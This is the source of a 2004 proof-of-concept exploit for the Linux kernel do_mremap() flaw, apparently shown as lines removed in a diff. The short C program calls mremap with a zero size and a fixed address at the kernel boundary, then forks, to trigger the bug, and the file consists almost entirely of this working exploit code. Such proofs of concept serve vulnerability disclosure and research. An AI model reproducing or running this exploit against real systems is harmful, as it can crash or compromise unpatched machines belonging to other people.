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- /*
- * Proof-of-concept exploit code for do_mremap()
- *
- * Copyright (C) 2004 Christophe Devine and Julien Tinnes
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
- */
-
- #include <asm/unistd.h>
- #include <sys/mman.h>
- #include <unistd.h>
- #include <errno.h>
-
- #define MREMAP_MAYMOVE 1
- #define MREMAP_FIXED 2
-
- #define __NR_real_mremap __NR_mremap
-
- static inline _syscall5( void *, real_mremap, void *, old_address,
- size_t, old_size, size_t, new_size,
- unsigned long, flags, void *, new_address );
-
- int main( void )
- {
- void *base;
-
- base = mmap( NULL, 8192, PROT_READ | PROT_WRITE,
- MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 );
-
- real_mremap( base, 0, 0, MREMAP_MAYMOVE | MREMAP_FIXED,
- (void *) 0xC0000000 );
-
- fork();
-
- return( 0 );
- }
-